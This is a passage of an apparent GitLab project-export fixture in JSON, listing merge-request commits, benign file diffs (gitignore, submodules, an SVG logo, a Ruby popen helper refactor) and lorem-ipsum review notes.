Jankovski","author_email":"marin@gitlab.com","committed_date":"2015-12-07T12:52:12.000+01:00","committer_name":"Marin Jankovski","committer_email":"marin@gitlab.com"},{"merge_request_diff_id":10,"relative_order":2,"sha":"048721d90c449b244b7b4c53a9186b04330174ec","message":"LFS object pointer.\n","authored_date":"2015-12-07T11:54:28.000+01:00","author_name":"Marin Jankovski","author_email":"maxlazio@gmail.com","committed_date":"2015-12-07T11:54:28.000+01:00","committer_name":"Marin Jankovski","committer_email":"maxlazio@gmail.com"},{"merge_request_diff_id":10,"relative_order":3,"sha":"5f923865dde3436854e9ceb9cdb7815618d4e849","message":"GitLab currently doesn't support patches that involve a merge commit: add a commit here\n","authored_date":"2015-11-13T16:27:12.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T16:27:12.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":10,"relative_order":4,"sha":"d2d430676773caa88cdaf7c55944073b2fd5561a","message":"Merge branch 'add-svg' into 'master'\r\n\r\nAdd GitLab SVG\r\n\r\nAdded to test preview of sanitized SVG images\r\n\r\nSee merge request !5","authored_date":"2015-11-13T08:50:17.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:50:17.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":10,"relative_order":5,"sha":"2ea1f3dec713d940208fb5ce4a38765ecb5d3f73","message":"Add GitLab SVG\n","authored_date":"2015-11-13T08:39:43.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:39:43.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":10,"relative_order":6,"sha":"59e29889be61e6e0e5e223bfa9ac2721d31605b8","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd whitespace test file\r\n\r\nSorry, I did a mistake.\r\nGit ignore empty files.\r\nSo I add a new whitespace test file.\r\n\r\nSee merge request !4","authored_date":"2015-11-13T07:21:40.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T07:21:40.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":10,"relative_order":7,"sha":"66eceea0db202bb39c4e445e8ca28689645366c5","message":"add spaces in whitespace file\n","authored_date":"2015-11-13T06:01:27.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:01:27.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":10,"relative_order":8,"sha":"08f22f255f082689c0d7d39d19205085311542bc","message":"remove empty file.(beacase git ignore empty file)\nadd whitespace test file.\n","authored_date":"2015-11-13T06:00:16.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:00:16.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":10,"relative_order":9,"sha":"19e2e9b4ef76b422ce1154af39a91323ccc57434","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd spaces\r\n\r\nTo test this pull request.(https://github.com/gitlabhq/gitlabhq/pull/9757)\r\nJust add whitespaces.\r\n\r\nSee merge request !3","authored_date":"2015-11-13T05:23:14.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T05:23:14.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":10,"relative_order":10,"sha":"c642fe9b8b9f28f9225d7ea953fe14e74748d53b","message":"add whitespace in empty\n","authored_date":"2015-11-13T05:08:45.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:45.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":10,"relative_order":11,"sha":"9a944d90955aaf45f6d0c88f30e27f8d2c41cec0","message":"add empty file\n","authored_date":"2015-11-13T05:08:04.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:04.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":10,"relative_order":12,"sha":"c7fbe50c7c7419d9701eebe64b1fdacc3df5b9dd","message":"Add ISO-8859 test file\n","authored_date":"2015-08-25T17:53:12.000+02:00","author_name":"Stan Hu","author_email":"stanhu@packetzoom.com","committed_date":"2015-08-25T17:53:12.000+02:00","committer_name":"Stan Hu","committer_email":"stanhu@packetzoom.com"},{"merge_request_diff_id":10,"relative_order":13,"sha":"e56497bb5f03a90a51293fc6d516788730953899","message":"Merge branch 'tree_helper_spec' into 'master'\n\nAdd directory structure for tree_helper spec\n\nThis directory structure is needed for a testing the method flatten_tree(tree) in the TreeHelper module\n\nSee [merge request #275](https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/275#note_732774)\n\nSee merge request !2\n","authored_date":"2015-01-10T22:23:29.000+01:00","author_name":"Sytse Sijbrandij","author_email":"sytse@gitlab.com","committed_date":"2015-01-10T22:23:29.000+01:00","committer_name":"Sytse Sijbrandij","committer_email":"sytse@gitlab.com"},{"merge_request_diff_id":10,"relative_order":14,"sha":"4cd80ccab63c82b4bad16faa5193fbd2aa06df40","message":"add directory structure for tree_helper spec\n","authored_date":"2015-01-10T21:28:18.000+01:00","author_name":"marmis85","author_email":"marmis85@gmail.com","committed_date":"2015-01-10T21:28:18.000+01:00","committer_name":"marmis85","committer_email":"marmis85@gmail.com"},{"merge_request_diff_id":10,"relative_order":16,"sha":"5937ac0a7beb003549fc5fd26fc247adbce4a52e","message":"Add submodule from gitlab.com\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T10:01:38.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T10:01:38.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"},{"merge_request_diff_id":10,"relative_order":17,"sha":"570e7b2abdd848b95f2f578043fc23bd6f6fd24d","message":"Change some files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:57:31.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:57:31.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"},{"merge_request_diff_id":10,"relative_order":18,"sha":"6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9","message":"More submodules\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:54:21.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:54:21.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"},{"merge_request_diff_id":10,"relative_order":19,"sha":"d14d6c0abdd253381df51a723d58691b2ee1ab08","message":"Remove ds_store files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:49:50.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:49:50.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"},{"merge_request_diff_id":10,"relative_order":20,"sha":"c1acaa58bbcbc3eafe538cb8274ba387047b69f8","message":"Ignore DS files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:48:32.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:48:32.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com"}],"merge_request_diff_files":[{"merge_request_diff_id":10,"relative_order":0,"utf8_diff":"Binary files a/.DS_Store and /dev/null differ\n","new_path":".DS_Store","old_path":".DS_Store","a_mode":"100644","b_mode":"0","new_file":false,"renamed_file":false,"deleted_file":true,"too_large":false},{"merge_request_diff_id":10,"relative_order":1,"utf8_diff":"--- a/.gitignore\n+++ b/.gitignore\n@@ -17,3 +17,4 @@ rerun.txt\n pickle-email-*.html\n .project\n config/initializers/secret_token.rb\n+.DS_Store\n","new_path":".gitignore","old_path":".gitignore","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":2,"utf8_diff":"--- a/.gitmodules\n+++ b/.gitmodules\n@@ -1,3 +1,9 @@\n [submodule \"six\"]\n \tpath = six\n \turl = git://github.com/randx/six.git\n+[submodule \"gitlab-shell\"]\n+\tpath = gitlab-shell\n+\turl = https://github.com/gitlabhq/gitlab-shell.git\n+[submodule \"gitlab-grack\"]\n+\tpath = gitlab-grack\n+\turl = https://gitlab.com/gitlab-org/gitlab-grack.git\n","new_path":".gitmodules","old_path":".gitmodules","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":3,"utf8_diff":"--- a/CHANGELOG\n+++ b/CHANGELOG\n@@ -1,4 +1,6 @@\n-v 6.7.0\n+v6.8.0\n+\n+v6.7.0\n - Add support for Gemnasium as a Project Service (Olivier Gonzalez)\n - Add edit file button to MergeRequest diff\n - Public groups (Jason Hollingsworth)\n","new_path":"CHANGELOG","old_path":"CHANGELOG","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":4,"utf8_diff":"--- /dev/null\n+++ b/encoding/iso8859.txt\n@@ -0,0 +1 @@\n+Äü\n","new_path":"encoding/iso8859.txt","old_path":"encoding/iso8859.txt","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":5,"utf8_diff":"Binary files a/files/.DS_Store and /dev/null differ\n","new_path":"files/.DS_Store","old_path":"files/.DS_Store","a_mode":"100644","b_mode":"0","new_file":false,"renamed_file":false,"deleted_file":true,"too_large":false},{"merge_request_diff_id":10,"relative_order":6,"utf8_diff":"--- /dev/null\n+++ b/files/images/wm.svg\n@@ -0,0 +1,78 @@\n+<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n+<svg width=\"1300px\" height=\"680px\" viewBox=\"0 0 1300 680\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:sketch=\"http://www.bohemiancoding.com/sketch/ns\">\n+ <!-- Generator: Sketch 3.2.2 (9983) - http://www.bohemiancoding.com/sketch -->\n+ <title>wm</title>\n+ <desc>Created with Sketch.</desc>\n+ <defs>\n+ <path id=\"path-1\" d=\"M-69.8,1023.54607 L1675.19996,1023.54607 L1675.19996,0 L-69.8,0 L-69.8,1023.54607 L-69.8,1023.54607 Z\"></path>\n+ </defs>\n+ <g id=\"Page-1\" stroke=\"none\" stroke-width=\"1\" fill=\"none\" fill-rule=\"evenodd\" sketch:type=\"MSPage\">\n+ <path d=\"M1300,680 L0,680 L0,0 L1300,0 L1300,680 L1300,680 Z\" id=\"bg\" fill=\"#30353E\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"gitlab_logo\" sketch:type=\"MSLayerGroup\" transform=\"translate(-262.000000, -172.000000)\">\n+ <g id=\"g10\" transform=\"translate(872.500000, 512.354581) scale(1, -1) translate(-872.500000, -512.354581) translate(0.000000, 0.290751)\">\n+ <g id=\"g12\" transform=\"translate(1218.022652, 440.744871)\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\">\n+ <path d=\"M-50.0233338,141.900706 L-69.07059,141.900706 L-69.0100967,0.155858152 L8.04444805,0.155858152 L8.04444805,17.6840847 L-49.9628405,17.6840847 L-50.0233338,141.900706 L-50.0233338,141.900706 Z\" id=\"path14\"></path>\n+ </g>\n+ <g id=\"g16\">\n+ <g id=\"g18-Clipped\">\n+ <mask id=\"mask-2\" sketch:name=\"path22\" fill=\"white\">\n+ <use xlink:href=\"#path-1\"></use>\n+ </mask>\n+ <g id=\"path22\"></g>\n+ <g id=\"g18\" mask=\"url(#mask-2)\">\n+ <g transform=\"translate(382.736659, 312.879425)\">\n+ <g id=\"g24\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(852.718192, 124.992771)\">\n+ <path d=\"M63.9833317,27.9148929 C59.2218085,22.9379001 51.2134221,17.9597442 40.3909323,17.9597442 C25.8888194,17.9597442 20.0453962,25.1013043 20.0453962,34.4074318 C20.0453962,48.4730484 29.7848226,55.1819277 50.5642821,55.1819277 C54.4602853,55.1819277 60.7364685,54.7492469 63.9833317,54.1002256 L63.9833317,27.9148929 L63.9833317,27.9148929 Z M44.2869356,113.827628 C28.9053426,113.827628 14.7975996,108.376082 3.78897657,99.301416 L10.5211864,87.6422957 C18.3131929,92.1866076 27.8374026,96.7320827 41.4728323,96.7320827 C57.0568452,96.7320827 63.9833317,88.7239978 63.9833317,75.3074024 L63.9833317,68.3821827 C60.9528485,69.0312039 54.6766653,69.4650479 50.7806621,69.4650479 C17.4476729,69.4650479 0.565379986,57.7791759 0.565379986,33.3245665 C0.565379986,11.4683685 13.9844297,0.43151772 34.3299658,0.43151772 C48.0351955,0.43151772 61.1692285,6.70771614 65.7143717,16.8780421 L69.1776149,3.02876588 L82.5978279,3.02876588 L82.5978279,75.5237428 C82.5978279,98.462806 72.6408582,113.827628 44.2869356,113.827628 L44.2869356,113.827628 Z\" id=\"path26\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g28\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(959.546624, 124.857151)\">\n+ <path d=\"M37.2266657,17.4468081 C30.0837992,17.4468081 23.8064527,18.3121698 19.0449295,20.4767371 L19.0449295,79.2306079 L19.0449295,86.0464943 C25.538656,91.457331 33.5470425,95.3526217 43.7203922,95.3526217 C62.1173451,95.3526217 69.2602116,82.3687072 69.2602116,61.3767077 C69.2602116,31.5135879 57.7885819,17.4468081 37.2266657,17.4468081 M45.2315622,113.963713 C28.208506,113.963713 19.0449295,102.384849 19.0449295,102.384849 L19.0449295,120.67143 L18.9844362,144.908535 L10.3967097,144.908535 L0.371103324,144.908535 L0.431596656,6.62629771 C9.73826309,2.73100702 22.5081728,0.567602823 36.3611458,0.567602823 C71.8579349,0.567602823 88.9566078,23.2891625 88.9566078,62.4584098 C88.9566078,93.4043948 73.1527248,113.963713 45.2315622,113.963713\" id=\"path30\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g32\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(509.576747, 125.294950)\">\n+ <path d=\"M68.636665,129.10638 C85.5189579,129.10638 96.3414476,123.480366 103.484314,117.853189 L111.669527,132.029302 C100.513161,141.811145 85.5073245,147.06845 69.5021849,147.06845 C29.0274926,147.06845 0.673569983,122.3975 0.673569983,72.6252464 C0.673569983,20.4709215 31.2622559,0.12910638 66.2553217,0.12910638 C83.7879179,0.12910638 98.7227909,4.24073748 108.462217,8.35236859 L108.063194,64.0763105 L108.063194,70.6502677 L108.063194,81.6057001 L56.1168719,81.6057001 L56.1168719,64.0763105 L89.2323178,64.0763105 L89.6313411,21.7701271 C85.3025779,19.6055598 77.7269514,17.8748364 67.554765,17.8748364 C39.4172223,17.8748364 20.5863462,35.5717154 20.5863462,72.8415868 C20.5863462,110.711628 40.0663623,129.10638 68.636665,129.10638\" id=\"path34\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g36\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(692.388992, 124.376085)\">\n+ <path d=\"M19.7766662,145.390067 L1.16216997,145.390067 L1.2226633,121.585642 L1.2226633,111.846834 L1.2226633,106.170806 L1.2226633,96.2656714 L1.2226633,39.5681976 L1.2226633,39.3518572 C1.2226633,16.4127939 11.1796331,1.04797161 39.5335557,1.04797161 C43.4504989,1.04797161 47.2836822,1.40388649 51.0051854,2.07965952 L51.0051854,18.7925385 C48.3109055,18.3796307 45.4351455,18.1446804 42.3476589,18.1446804 C26.763646,18.1446804 19.8371595,26.1516022 19.8371595,39.5681976 L19.8371595,96.2656714 L51.0051854,96.2656714 L51.0051854,111.846834 L19.8371595,111.846834 L19.7766662,145.390067 L19.7766662,145.390067 Z\" id=\"path38\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <path d=\"M646.318899,128.021188 L664.933395,128.021188 L664.933395,236.223966 L646.318899,236.223966 L646.318899,128.021188 L646.318899,128.021188 Z\" id=\"path40\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <path d=\"M646.318899,251.154944 L664.933395,251.154944 L664.933395,269.766036 L646.318899,269.766036 L646.318899,251.154944 L646.318899,251.154944 Z\" id=\"path42\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"g44\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.464170, 0.676006)\">\n+ <path d=\"M429.269989,169.815599 L405.225053,243.802859 L357.571431,390.440955 C355.120288,397.984955 344.444378,397.984955 341.992071,390.440955 L294.337286,243.802859 L136.094873,243.802859 L88.4389245,390.440955 C85.9877812,397.984955 75.3118715,397.984955 72.8595648,390.440955 L25.2059427,243.802859 L1.16216997,169.815599 C-1.03187664,163.067173 1.37156997,155.674379 7.11261982,151.503429 L215.215498,0.336141836 L423.319539,151.503429 C429.060589,155.674379 431.462873,163.067173 429.269989,169.815599\" id=\"path46\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g48\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(135.410135, 1.012147)\">\n+ <path d=\"M80.269998,0 L80.269998,0 L159.391786,243.466717 L1.14820997,243.466717 L80.269998,0 L80.269998,0 Z\" id=\"path50\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g52\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path54\"></g>\n+ </g>\n+ <g id=\"g56\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(24.893471, 1.012613)\">\n+ <path d=\"M190.786662,0 L111.664874,243.465554 L0.777106647,243.465554 L190.786662,0 L190.786662,0 Z\" id=\"path58\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g60\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <g id=\"path62\"></g>\n+ </g>\n+ <g id=\"g64\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.077245, 0.223203)\">\n+ <path d=\"M25.5933327,244.255313 L25.5933327,244.255313 L1.54839663,170.268052 C-0.644486651,163.519627 1.75779662,156.126833 7.50000981,151.957046 L215.602888,0.789758846 L25.5933327,244.255313 L25.5933327,244.255313 Z\" id=\"path66\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g68\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path70\"></g>\n+ </g>\n+ <g id=\"g72\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(25.670578, 244.478283)\">\n+ <path d=\"M0,0 L110.887767,0 L63.2329818,146.638096 C60.7806751,154.183259 50.1047654,154.183259 47.6536221,146.638096 L0,0 L0,0 Z\" id=\"path74\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g76\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <path d=\"M0,0 L79.121788,243.465554 L190.009555,243.465554 L0,0 L0,0 Z\" id=\"path78\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g80\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(214.902910, 0.223203)\">\n+ <path d=\"M190.786662,244.255313 L190.786662,244.255313 L214.831598,170.268052 C217.024481,163.519627 214.622198,156.126833 208.879985,151.957046 L0.777106647,0.789758846 L190.786662,244.255313 L190.786662,244.255313 Z\" id=\"path82\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g84\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(294.009575, 244.478283)\">\n+ <path d=\"M111.679997,0 L0.79222998,0 L48.4470155,146.638096 C50.8993221,154.183259 61.5752318,154.183259 64.0263751,146.638096 L111.679997,0 L111.679997,0 Z\" id=\"path86\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+</svg>\n\\ No newline at end of file\n","new_path":"files/images/wm.svg","old_path":"files/images/wm.svg","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":7,"utf8_diff":"--- /dev/null\n+++ b/files/lfs/lfs_object.iso\n@@ -0,0 +1,4 @@\n+version https://git-lfs.github.com/spec/v1\n+oid sha256:91eff75a492a3ed0dfcb544d7f31326bc4014c8551849c192fd1e48d4dd2c897\n+size 1575078\n+\n","new_path":"files/lfs/lfs_object.iso","old_path":"files/lfs/lfs_object.iso","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":8,"utf8_diff":"--- a/files/ruby/popen.rb\n+++ b/files/ruby/popen.rb\n@@ -6,12 +6,18 @@ module Popen\n \n def popen(cmd, path=nil)\n unless cmd.is_a?(Array)\n- raise \"System commands must be given as an array of strings\"\n+ raise RuntimeError, \"System commands must be given as an array of strings\"\n end\n \n path ||= Dir.pwd\n- vars = { \"PWD\" => path }\n- options = { chdir: path }\n+\n+ vars = {\n+ \"PWD\" => path\n+ }\n+\n+ options = {\n+ chdir: path\n+ }\n \n unless File.directory?(path)\n FileUtils.mkdir_p(path)\n@@ -19,6 +25,7 @@ module Popen\n \n @cmd_output = \"\"\n @cmd_status = 0\n+\n Open3.popen3(vars, *cmd, options) do |stdin, stdout, stderr, wait_thr|\n @cmd_output << stdout.read\n @cmd_output << stderr.read\n","new_path":"files/ruby/popen.rb","old_path":"files/ruby/popen.rb","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":9,"utf8_diff":"--- a/files/ruby/regex.rb\n+++ b/files/ruby/regex.rb\n@@ -19,14 +19,12 @@ module Gitlab\n end\n \n def archive_formats_regex\n- #|zip|tar| tar.gz | tar.bz2 |\n- /(zip|tar|tar\\.gz|tgz|gz|tar\\.bz2|tbz|tbz2|tb2|bz2)/\n+ /(zip|tar|7z|tar\\.gz|tgz|gz|tar\\.bz2|tbz|tbz2|tb2|bz2)/\n end\n \n def git_reference_regex\n # Valid git ref regex, see:\n # https://www.kernel.org/pub/software/scm/git/docs/git-check-ref-format.html\n-\n %r{\n (?!\n (?# doesn't begins with)\n","new_path":"files/ruby/regex.rb","old_path":"files/ruby/regex.rb","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":10,"utf8_diff":"--- /dev/null\n+++ b/files/whitespace\n@@ -0,0 +1 @@\n+test \n","new_path":"files/whitespace","old_path":"files/whitespace","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":11,"utf8_diff":"--- /dev/null\n+++ b/foo/bar/.gitkeep\n","new_path":"foo/bar/.gitkeep","old_path":"foo/bar/.gitkeep","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":12,"utf8_diff":"--- /dev/null\n+++ b/gitlab-grack\n@@ -0,0 +1 @@\n+Subproject commit 645f6c4c82fd3f5e06f67134450a570b795e55a6\n","new_path":"gitlab-grack","old_path":"gitlab-grack","a_mode":"0","b_mode":"160000","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":13,"utf8_diff":"--- /dev/null\n+++ b/gitlab-shell\n@@ -0,0 +1 @@\n+Subproject commit 79bceae69cb5750d6567b223597999bfa91cb3b9\n","new_path":"gitlab-shell","old_path":"gitlab-shell","a_mode":"0","b_mode":"160000","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":14,"utf8_diff":"--- /dev/null\n+++ b/test\n","new_path":"test","old_path":"test","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":10,"created_at":"2016-06-14T15:02:23.019Z","updated_at":"2016-06-14T15:02:23.493Z","base_commit_sha":"ae73cb07c9eeaf35924a10f713b364d32b2dd34f","real_size":"15"},"events":[{"id":228,"target_type":"MergeRequest","target_id":10,"project_id":36,"created_at":"2016-06-14T15:02:23.660Z","updated_at":"2016-06-14T15:02:23.660Z","action":1,"author_id":1},{"id":170,"target_type":"MergeRequest","target_id":10,"project_id":5,"created_at":"2016-06-14T15:02:23.660Z","updated_at":"2016-06-14T15:02:23.660Z","action":1,"author_id":20}]}
-{"id":9,"target_branch":"test-6","source_branch":"test-12","source_project_id":5,"author_id":16,"assignee_id":6,"title":"Et ipsam voluptas velit sequi illum ut.","created_at":"2016-06-14T15:02:22.825Z","updated_at":"2016-06-14T15:03:00.904Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":1,"description":"Eveniet nihil ratione veniam similique qui aut sapiente tempora. Sed praesentium iusto dignissimos possimus id repudiandae quo nihil. Qui doloremque autem et iure fugit.","position":0,"updated_by_id":null,"merge_error":null,"merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":false,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":825,"note":"Aliquid voluptatem consequatur voluptas ex perspiciatis.","noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:03:00.722Z","updated_at":"2016-06-14T15:03:00.722Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[]},{"id":826,"note":"Itaque optio voluptatem praesentium voluptas.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:03:00.745Z","updated_at":"2016-06-14T15:03:00.745Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":827,"note":"Ut est corporis fuga asperiores delectus excepturi aperiam.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:03:00.771Z","updated_at":"2016-06-14T15:03:00.771Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":828,"note":"Similique ea dolore officiis temporibus.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:03:00.798Z","updated_at":"2016-06-14T15:03:00.798Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[]},{"id":829,"note":"Qui laudantium qui quae quis.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:03:00.828Z","updated_at":"2016-06-14T15:03:00.828Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":830,"note":"Et vel voluptas amet laborum qui soluta.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:03:00.850Z","updated_at":"2016-06-14T15:03:00.850Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":831,"note":"Enim ad consequuntur assumenda provident voluptatem similique deleniti.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:03:00.876Z","updated_at":"2016-06-14T15:03:00.876Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":832,"note":"Officiis sequi commodi pariatur totam fugiat voluptas corporis 